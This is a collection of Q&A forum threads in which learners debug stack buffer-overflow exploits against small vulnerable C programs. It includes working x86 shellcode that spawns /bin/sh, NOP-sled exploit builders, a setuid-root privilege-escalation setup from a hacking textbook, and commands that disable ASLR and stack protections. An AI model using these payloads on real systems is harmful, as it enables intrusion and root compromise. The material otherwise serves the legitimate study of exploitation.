Buffer Overflow won't work get Seg Fault - c

I try to get a Buffer Overflow to work. I have the following simple vulnerable Program:
int main(int argc, char** argv) {
char buffer[80];
strcpy(buffer,argv[1]);
return 1;
}
With the following Program i want to get a Shell with an Buffer Overflow.
char shellcode[]=
"\x31\xc0"
"\x50"
"\x68\x6e\x2f\x73\x68"
"\x68\x2f\x2f\x62\x69"
"\x89\xe3"
"\x99"
"\x52"
"\x53"
"\x89\xe1"
"\xb0\x0b"
"\xcd\x80";
char retaddr[] = "\xa8\xd5\xff\xff";
#define NOP 0x90
int main() {
char buffer[96];
memset(buffer, NOP, 96);
memcpy(buffer, "EGG=",4);
memcpy(buffer+4,shellcode,24);
memcpy(buffer+88,retaddr,4);
memcpy(buffer+92, "\x00\x00\x00\x00",4);
putenv(buffer);
printf("%p\n", buffer);
system("/bin/sh");
return 0;
}
This Program creates an Buffer with the shellcode at Beginning. After the Shellcode are some NOP Instruction and then the value that overrides the Return Address and points to the beginning of the Shellcode. Then it creates an Environment Variable with the buffer and starts a Shell.
If i run that program the shell started and the environment Variable is set. But if i try to run the vulnerable Program with the environment Variable as Parameter i get an segmentation fault.
Here are some Screens with gdb:
I don't have enough reputation to post images directly so here is the link to an imgur album with the 4 pictures in it.
The first picture shows the Stack before the strcpy happens.
The second one shows argv 1
The third picture shows the stack after the strcpy.
If you can see 0xf7e00497 is the return address. If i disassamble this address the code for the libc function is shown.
In the third picture you see that this address is overridden by the address 0xffffd5a8 witch points to the top of the stack.
In Picture Number 4 you see the segmentation fault if the programm countinous to run.
Can anybody tell my why? Everything seems to be okay?
I compiled both programmes with the -fno-stack-protector option of gcc.

Thanks #type1232, the issue was that the stack is not executable.
With execstack -s vulProg, the shellcode will run.

Related

Why is there the need to use a precise return address for shellcode execution?

I'm trying to understand why in order to successfully execute my shellcode payload, I need to use a specific return address inside the stack.
If I use a different address that is still inside the stack, I either get a SIGSEGV segmentation fault or a SIGILL illegal instruction.
First of all, I have deactivated ASLR on my OS by doing this :
echo 0 > /proc/sys/kernel/randomize_va_space
Here is my vulnerable C code :
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
void func (char *arg) {
char buffer[64];
strcpy(buffer, arg);
printf("%s\n", buffer);
}
int main(int argc, char *argv[])
{
func(argv[1]);
return 0;
}
I compiled it in 32 bit using gcc on a 64 bit machine with the following line :
gcc -z execstack -m32 buffer.c -g -o buffer -fno-stack-protector
I thus have an executable stack so that the shellcode is executable and also no stack protector to allow stack smashing.
Here is my shellcode (NOP|shellcode-payload|return-address) :
"\x90"*31 + "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh" + "\x30\xd5\xff\xff"
I feed this shellcode as an input to the buffer binary using Python2 to gdb as follow :
gdb --args ./buffer $(python2 -c 'print("\x90"*31 + "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh" + "\x30\xd5\xff\xff")')
By putting a break func in gdb, I can print the following bytes showing a bit of the stack.
If I put at the end of the shellcode any return address that is not in the range : 0xffffd521-0xffffd539. I get either a SIGSEGV or SIGILL why is that ?
For instance, 0xffffd520 is a valid address inside the stack, for what reason it does not work ?
It's not really anything to do with your program or your shellcode, but with the way you are running it. $(...) in shell splits its result into multiple arguments at whitespace, so if the output of python contains whitespace bytes, argv[1] will only get the part of the payload before the first such byte. The address 0xffffd520 has 0x20, space, as one of its bytes, so that'll result in argv[1] containing a truncated version of your payload, which in particular won't contain the correct return address at all, hence crashing.
You should use quotes to force the entire output to be a single argument: "$(python2 ... )"

Why do I get a segmentation fault in the exploit_notesearch program from "Hacking: The Art of Exploitation"?

So, to start off with, I am on Kali 2020.1, fully updated. 64 bit.
The source code is as follows:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include "hacking.h"
#include <unistd.h>
#include <stdlib.h>
char shellcode[]=
"\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68"
"\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89"
"\xe1\xcd\x80";
int main(int argc, char *argv[]) {
long int i, *ptr, ret, offset=270;
char *command, *buffer;
command = (char *) malloc(200);
bzero(command, 200); // Zero out the new memory.
strcpy(command, "./notesearch \'"); // Start command buffer.
buffer = command + strlen(command); // Set buffer at the end.
if(argc > 1) // Set offset.
offset = atoi(argv[1]);
ret = (long int) &i - offset; // Set return address.
for(i=0; i < 160; i+=4) // Fill buffer with return address.
*((unsigned int *)(buffer+i)) = ret;
memset(buffer, 0x90, 60); // Build NOP sled.
memcpy(buffer+60, shellcode, sizeof(shellcode)-1);
strcat(command, "\'");
system(command); // Run exploit.
free(command);
}
Now, some important clarifications. I included all those libraries because compilation throws warnings without them.
The preceding notetaker and notesearch programs, as well as this exploit_notesearch program have been compiled as follows in the Terminal:
gcc -g -mpreferred-stack-boundary=4 -no-pie -fno-stack-protector -Wl,-z,norelro -z execstack -o exploit_notesearch exploit_notesearch.c
I no longer remember the source which said I must compile this way (the preferred stack boundary was 2 for them, but my machine requires it to be between 4 and 12). Also, the stack is executable now as you can see.
All 3 programs (notetaker, notesearch, and exploit_notesearch) had their permissions modified as in the book:
sudo chown root:root ./program_name
sudo chmod u+s ./program_name
I tried following the solution from this link: Debugging Buffer Overflow Example , but to no avail. Same goes for this link: Not So Fast Shellcode Exploit
Changing the offset incrementally from 0 to 330 by using increments of 1, 10, 20, and 30 in the terminal using a for-loop also did not solve my problem. I keep getting a segmentation fault no matter what I do.
What could be the issue in my case and what would be the best way to overcome said issue? Thank you.
P.S I remember reading that I'm supposed to use 64-bit shellcode instead of the one provided.
When you are segfaulting, it is a great time to run it within a debugger like GDB. It should tell you right where you are crashing, and you can step through the execution and validate the assumptions you are making. The most common segfaults tend to be invalid memory permissions (like trying to execute a non-executable page) or an invalid instruction (eg., if you land in the middle of shellcode, not in a NOP sled).
You are running into a couple of issues trying to convert the exploit to work on 32-bit. When filling the buffer with return addresses, it's using the constant 4 when pointers on 64-bit are actually 8 bytes.
for(i=0; i < 160; i+=4) // Fill buffer with return address.
*((unsigned int *)(buffer+i)) = ret;
That could also present some issues when trying to exploit the strcpy bug, because those 64-bit addresses will contain NULL bytes (since the usable address space only uses 6 of the 8 bytes). Thus, if you have some premature NULL bytes before actually overwriting the return address on the stack, you won't actually copy enough data to leverage the overflow as intended.

Shellcode Segfault - testcase vs strcpy

So after taking a Software Security class I became very interested in tinkering with how shellcode works with buffer overflows. Most threads I read about the topic involve having the shellcode as a char array and the user not adding the -fno-stack-protector / -z execstack flags for gcc. I've tried turning off ASLR (though I'm unsure if it's relevant?), there is no stack canary or anything involved. I'm using a cyclic offset generator to find the stack offset and using gdb to find the start of the buffer (so I know I have the correct return address). Everything is in gdb so I'm aware there will be an address difference when running outside of gdb, I originally had a NOP sled but removed it to reduce complexity.
So I've reached my wits end... I feel like it might be something at the assembly layer that I'm not understanding/haven't learned. Might be something silly....
First I have a test-case program that just takes the shellcode as a commandline argument which successfully pops the shell:
Compiled with: gcc -m32 -z execstack file.c -o file
#include<stdio.h>
#include<string.h>
int main(int argc, char *argv[])
{
unsigned char shellcode[100];
strcpy(shellcode,argv[1]);
int (*ret)() = (int(*)())shellcode;
ret();
}
root#kali:~/tmp# ./test2 $(python -c 'print
"\xbf\xa0\xbc\xdf\x9c\xda\xda\xd9\x74\x24\xf4\x58\x33\xc9\xb1\x0c\x31\x78\x13\x03\x78\x13\x83\xe8\x5c\x5e\x2a\xf6\x97\xc7\x4c\x55\xc1\x9f\x43\x39\x84\x87\xf4\x92\xe5\x2f\x05\x85\x26\xd2\x6c\x3b\xb1\xf1\x3d\x2b\xcb\xf5\xc1\xab\xe4\x97\xa8\xc5\xd5\x35\x4a\x69\x41\xba\xdb\xde\x18\x5b\x2e\x60"')
root#kali:/root/tmp# <-- New shell popped
Next I wanted to try to actually overflow a buffer to overwrite the stored EIP address and run the shellcode, this case continually results in a segfault...
Compiled with: gcc -m32 -z execstack file.c -o file
#include<stdio.h>
#include<string.h>
void login_success(char *password)
{
char pass[60];
strcpy(pass, password);
}
int main(int argc, char *argv[])
{
login_success(argv[1]);
}
the offset to eip is 72 bytes, my shellcode is 72 bytes long + adding the eip overwrite.
Shellcode looks like:
buf = ""
buf += "\xbf\xa0\xbc\xdf\x9c\xda\xda\xd9\x74\x24\xf4\x58\x33\xc9\xb1\x0c\x31\x78\x13\x03\x78\x13\x83\xe8\x5c\x5e\x2a\xf6\x97\xc7\x4c\x55\xc1\x9f\x43\x39\x84\x87\xf4\x92\xe5\x2f\x05\x85\x26\xd2\x6c\x3b\xb1\xf1\x3d\x2b\xcb\xf5\xc1\xab\xe4\x97\xa8\xc5\xd5\x35\x4a\x69\x41\xba\xdb\xde\x18\x5b\x2e\x60"
#0xffffd264
buf += "\x64\xd2\xff\xff"
print buf
Running this results in a segmentation fault...
If I step through gdb they both reach the shellcode, I've followed every step and it all their commands are the same up until it has to make a call instruction.
In the images below the strcpy instance is on the left, the test-case is on the right:
I'm not sure if it has to do with the ret instruction from the previous stackframe where the overflow occured? I can provide any additional information if needed. Any information about what I should research further would be appreciated!

Can't exploit stack overflow

I'm learning buffer overflows, and I have a problem with exploiting a stack based buffer overflow.
Here is my program:
#include <stdio.h>
void func(){
printf("asd");
}
main(){
char buf[10];
scanf("%s", &buf);
}
I'm overwriting first 14 bytes with A's(the buffer and the old EIP address). My goal is to execute the func function, or to change the EIP with it's address. But I'm always getting illegal instruction. I have check the HEX address of the function; I have written them in reverse order and they are correct.
You will have to look at the compiled code in assembler e.g.
your main() may look like:
char buf[10];
scanf("%s", &buf);
00D7B938 mov esi,esp
00D7B93A lea eax,[ebp-14h]
00D7B93D push eax
00D7B93E push offset string "%s" (0D818D4h)
00D7B943 call dword ptr [__imp__scanf (0D89684h)]
You'll have to debug to see what is actually on the stack at this point, e.g. if you are compiling in debug, it is highly likely there's a lot more on the stack than you may think !

Segfault shows up only in GDB

Why does the following program not crash when it is executed, but crash with a segfault in GDB? Compiled with GCC 4.5.2 on a 32-bit x86 (Athlon 64, if it should matter).
#include <stdio.h>
#include <string.h>
int modify(void)
{
__asm__("mov $0x41414141, %edx"); // Stray value.
__asm__("mov $0xbffff2d4, %eax"); // Addr. of ret pointer for function().
__asm__("mov %edx, (%eax)");
}
int function(void)
{
modify();
return 0;
}
int main(int argc, char **argv)
{
function();
return 0;
}
The mov $0xbffff2d4, %eax was determined using GDB to find the address where the return pointer was stored for the "function" function. This will probably be different on a different system. ASLR was disabled for this.
When I execute the program, nothing happens. There is no report of a crash in dmesg either. However when I execute the same program in GDB:
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
=> 0x41414141: Cannot access memory at address 0x41414141
This is what I expect should happen when I execute the program normally as well. I do indeed get segfaults as usual when other programs crash, and I can easily write a small program that crashes with a nice segfault. But why does this particular program not crash with a segfault?
Even with full ASLR disabled, you may still get randomized stack and heap. You can turn that off globally using the norandmaps kernel boot parameter or at runtime by setting /proc/sys/kernel/randomize_va_space to zero. It's also part of the process personality.
In GDB, you can tweak this using the disable-randomization setting:
(gdb) help set disable-randomization
Set disabling of debuggee's virtual address space randomization.
When this mode is on (which is the default), randomization of the virtual
address space is disabled. Standalone programs run with the randomization
enabled by default on some platforms.
As a small test program to illustrate this, you can print the address of a local variable, such as:
#include <stdio.h>
int main(int argc, char **argv)
{
printf("%p\n", &argc);
return 0;
}

Resources